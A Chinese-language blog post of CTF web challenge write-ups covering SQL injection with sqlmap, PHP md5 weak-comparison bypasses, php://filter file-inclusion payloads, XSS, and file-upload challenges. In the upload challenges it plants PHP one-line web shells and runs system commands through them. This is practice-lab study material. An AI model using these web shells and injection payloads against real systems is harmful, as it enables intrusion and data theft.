2024 CTF 做题记录

reverber / 2024-08-30 / 原文

web

[SWPUCTF 2021 新生赛]easy_sql

我可能不知道怎么写参数,但是我会用 sqlmap.

python3 sqlmap.py -u .... --dump testdb

另外说一句,直接用 --dump-all 是很蠢的行为 因为可能会 dump 到 mysql 的配置数据库,显然对拿到 flag 没什么帮助。

try to use --dbs.

[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

简单的代码审计。

显然想要拿到 flag 只需要 post 一个内容为 wllmnb 的 id ,再在 json 把变量 x 赋值 wllm 即可。

用 hackbar 完成。

另:json

    JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

    JSON的值:
    3.1 JSON的构成: ws 值
    3.2值可以是对象、数组、数字、字符串或者三个字面值(false、null、true)中的一个。值中的字面值中的英文必须使用小写。
    3.2.1对象由花括号括起来的逗号分割的成员构成,成员是字符串键和上文所述的值由逗号分割的键值对组成,如:

{"name": "John Doe", "age": 18, "address": {"country" : "china", "zip-code": "10000"}}


    引用JSON中的对象可以包含多个键值对,并且有数组结构,该语言正是一次实现过程内容的描述。
    3.2.2数组是由方括号括起来的一组值构成,如:
    [3, 1, 4, 1, 5, 9, 2, 6]
    3.2.3 字符串与C或者Java的字符串非常相似。字符串是由双引号包围的任意数量Unicode字符的集合,使用反斜线转义。一个字符(character)即一个单独的字符串(character string)。
    3.2.4数字也与C或者Java的数值非常相似。除去未曾使用的八进制与十六进制格式。除去一些编码细节。

[SWPUCTF 2021 新生赛]easy_md5

 <?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>
wrong!

需要 get 一个 name , post 一个 password

且需要 name 和 password 的值不相等但 md5 又要相等。

考点: php 弱比较

==不会对比类型
===也会对比类型

可以采用两个0e(php会将每个0e开头的哈希值解释为0)开头的哈希值进行绕过

弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0
代码审计:要求get获取的a和b的值要求不相等,但要求其md值相同

以下是一些字符串md5值以0e开头

QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

payload:?a=QNKCDZO&b=240610708 即可绕过

也可以采用两个数组进行绕过(MD5无法对数组进行加密,因此返回值均为NULL)

另: isset 函数用来判断一个变量是否被声明 返回布尔类型。

[SWPUCTF 2021 新生赛]include

先告诉我们传入一个 file 试试,于是 ?file=114514

然后出现如下

 <?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

发现玄机在于 flag.php 但是 ?=flag.php 无回显。

于是我们想到使用 php 伪协议 把源代码转变成 base64 编码后再一次 decode 查看到源代码。

?file=php://filter/read=convert.base64-encode/resource=flag.php

关于 php 伪协议 https://www.php.cn/faq/481803.html

include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true

BUUCTF SQL COURSE 1

非常有参考意义的一道题。

打开之后显示了几个新闻 点击进去发现是用 example.com/#/content/1 这样的 url 查询的。我注入点呢?

网站提供了一个输入用户名密码的界面,我尝试 --data 但是发现竟然连接不上网站。

最后不得已去查了 WP ,发现可以 F12 在 Network 中找到请求 url , 并且需要使用 -random-agent

因为默认情况下 sqlmap 发送的请求的 header 中使用的 agent 都是 sqlmap ,所以非常容易被 WAF 过滤掉,所以需要使用 -random-agent.

http://b9c75a2c-32a0-4530-b944-bbc96d88cdb6.node5.buuoj.cn:81/backend/content_detail.php?id=1

赫然出现了注入点 id.

随后我们经典一手 sqlmap 起手,直接 --dbs 光速成功爆库 接下来就是慢慢 dump 找 flag 的过程。

在数据库中 dump 到用户名和密码 输入到网站提供的登陆界面,拿到 flag.

BUU UPLOAD COURSE 1

一道 upload 的裸题。

可以发现并不会对上传的文件进行过滤,但是会把上传的文件改为 .jpg

但是仍然可以执行 php 代码,所以使用一句话木马

<?php @eval(system($_POST["x"]));?>

用 antsword 连接即可。 cat /flag

[第二章 web进阶]死亡ping命令

学长领着做的。因为本机没有环境,贴一个别人的 WP 参考。

https://blog.csdn.net/qq_45414878/article/details/109672659

[第二章 web进阶]XSS闯关

非常抽象 xss ,让我的电脑旋转。

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。

过关目标是在页面执行 alert() 函数。

  • 第一关
</head>
<body>
    <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">welcome xss</span></div></div></div></div></div></div>
    

</body></html>

第一关并没有对可操控点 xss 进行过滤,而 html 可以用 script 标签执行 js 函数,所以直接传入 <script>alert()</script> 即可。

  • 第二关
<body>
    <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
    	<div id="ccc">
    		
    	</div>
    </span></div></div></div></div></div></div>
    <script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = 'xss';
    	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
    </script>

</body></html>

可以看到这关使用了 escape() 函数进行过滤。

escape()函数:不会对数字、字母和* @ - _ + . / 进行编码,但其他所有的字符都会被转义序列替换

但是这里的 var username='xss'; 给了我们可乘之机。

NewStarCTF 2023

Begin of PHP

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

显然一共是有五关,第一关是典中典 md5 弱比较

无需多言。GET /?key1[]=1&key2[]=2 HTTP/1.1

第二关是要同一个字符串的 sha1=md5,并且使用 post 方式
还是根据第一关的方式 sha1 函数同样会在处理数组时返回 null,所以只需要 post key3[]=1

第三关是需要key4 和 flag 的字符串比较结果等于0

strcmp 函数如果比较结果相等会返回0 str1>str2 返回大于0 反之亦然

但是如果传入数组其无法比较,会返回0

所以只需要传入key4[]=1 即可

第四关是需要一个变量并非数字 但是却要比2023 大

https://www.php.net/manual/zh/language.operators.comparison.php

详见 php 比较机制,如果一个数组和其他任何类型比较,数组总是更大

所以传入一个数组即可

key5[]=114514114514

php is_numeric 函数 bypass

最后是要传入一个 flag5 使得其每一位都不和正则表达式 a-z A-Z 0-9 冲突,且要为 true

只需要其不为空则为 true 随便传入一个字符即可 比如 flag5=......

拿到 flag。

Begin of HTTP

主要是 http 一些协议的练习

第一关是要 get 一个数据

第二关要 post 一个 secret 参数,而 secret参数藏在了某个地方 在 burpsuite 的 hex 里面直接搜 secret 发现在网页源代码里有一行注释 n3wst4rCTF2023g00000d

下一关是要认证我的 "power" 是不是 "ctfer" 那么就要在 http header 上找突破口了

http headers

power 对应 cookie 所以修改 cookie 即可

Cookie:power=ctfer

接下来需要使用 newstarctf 浏览器 那么只需要修改 user-agent

希望你是通过 newstarctf 而来的 修改 referer header

最后只有本地用户可以通过 修改 X-Real-IP 为 127.0.0.1

Begin of Upload

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 17 Aug 2024 03:49:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1521
Connection: close
X-Powered-By: PHP/7.3.15
Vary: Accept-Encoding
Cache-Control: no-cache

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Upload</title>
    <style type="text/css">
        body {
            background-color: rgb(206, 240, 240);
        }
    </style>
    <script type="text/javascript">
        function validateForm() {
            var fileInput = document.getElementById("file");
            var file = fileInput.files[0];
            var allowedExtensions = ["jpg", "jpeg", "png", "gif"];
            var fileExtension = file.name.split('.').pop().toLowerCase();
            
            if (!file) {
                alert("Please select a file to upload.");
                return false;
            }
            
            if (!allowedExtensions.includes(fileExtension)) {
                alert("错误的拓展名,只允许上传: JPG, JPEG, PNG, GIF");
                return false;
            }
            
            return true;
        }
    </script>
</head>
<body>
<center>
    <br>
    <h1>Welcome to NewstarCTF</h1><br>
    <hr><br>
    <form action="/" method="post" enctype="multipart/form-data" onsubmit="return validateForm()">
        <input type="file" name="file" id="file"><br><br>
        <input type="submit" name="submit" value="Upload!!!">
    </form><br>
        <br><br>
    <img src="1.jpg" height="500px" width="450px">
</center>
</body>
</html>

可以看到有后缀名过滤,只允许上传 png jpg jpeg gif

所以只需要塞一个一句话木马进去 然后先上传 jpg 文件 使用 burpsuite 抓包把后缀名改为 php 即可

一句话木马<?php @eval($_POST['flag']) ?>

POST / HTTP/1.1
Host: d08de7eb-c04d-47d8-9ce6-7e91e5f9f6bc.node5.buuoj.cn:81
Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d08de7eb-c04d-47d8-9ce6-7e91e5f9f6bc.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywvufKGRuxyVe0bTO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://d08de7eb-c04d-47d8-9ce6-7e91e5f9f6bc.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarywvufKGRuxyVe0bTO
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['flag']) ?>
------WebKitFormBoundarywvufKGRuxyVe0bTO
Content-Disposition: form-data; name="submit"

Upload!!!
------WebKitFormBoundarywvufKGRuxyVe0bTO--

然后 send to repeater 就可以使用 post flag=system('ls /'); 查看文件

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 17 Aug 2024 04:08:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.15
Vary: Accept-Encoding
Cache-Control: no-cache
Content-Length: 93

bin
boot
dev
etc
fllll4g
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

cat flag 即可

ErrorFlask

这个题多少有点幽默属性在的

打开网站提示你让你传入两个参数,number1 和 number2 然后会帮你加起来

其实到这里大多数人都会猜到可能是 ssti 毕竟题目名字就叫 errorflask

所以就按照提示传了两个参数 然后显示 not ssti,flag in source code

byd 你这不是此地无银三百两?

结果 ssti 发现无果,但是如果你不小心少传一个参数就会发现一个报错界面 然后报错界面里面展示了源码 源码里有 flag

我只能说啥比题。

R!C!E!

<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

开局展示了这样的代码

简单审计就会发现要 post 两个参数 密码是你传入 password 的 md5 然后 code 就是你传的第二个参数 eval

然后需要满足你密码的前六个字符是 c4d038 并且你传入的 eval 必须满足正则表达式 然后就可以通过 php eval 函数进行代码执行。

rce 我比较菜 先 bypass。

easy login

burpsuite 爆破题 也是个钓鱼题 不想写了

游戏高手

function gameover(){
    if(gameScore > 100000){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/api.php", true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var response = JSON.parse(xhr.responseText);
            alert(response.message);
        }
        };
        var data = {
            score: gameScore,
        };
        xhr.send(JSON.stringify(data));
    }

让我把游戏玩到 100000 分 当然是做不到了

但是我们发现是可以伪造自己的分数 然后 stringify 形式发送 所以必须是标准的 json 数据格式 我就是在这里被卡了很久

最后发送 post 请求即可。

POST /api.php HTTP/1.1
Host: 54c7818f-ee7b-4258-ae0d-823ec2bcc241.node5.buuoj.cn:81
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

{"score":1000000}

include o.o

<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> nope

首先发现是把伪协议 base64 转换给 ban 掉了

但是会执行一步文件包含操作 所以思路还是往文件包含上走

一般来说都是先考虑 base64 encode 然后再考虑 php://input

不过以上两种方式这道题都不好用

所以寻找 php filter 的其他协议

发现可以使用 utf 协议来转换

payload:http://54d616d5-2834-4750-89d2-c7a5c9ba9493.node5.buuoj.cn:81/?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

ez_sql

直接使用 sqlmap 和他爆了

首先一手 --dbs 起手 发现有个数据库叫做 ctf

然后直接 --dump ctf 直接把 flag 爆出来了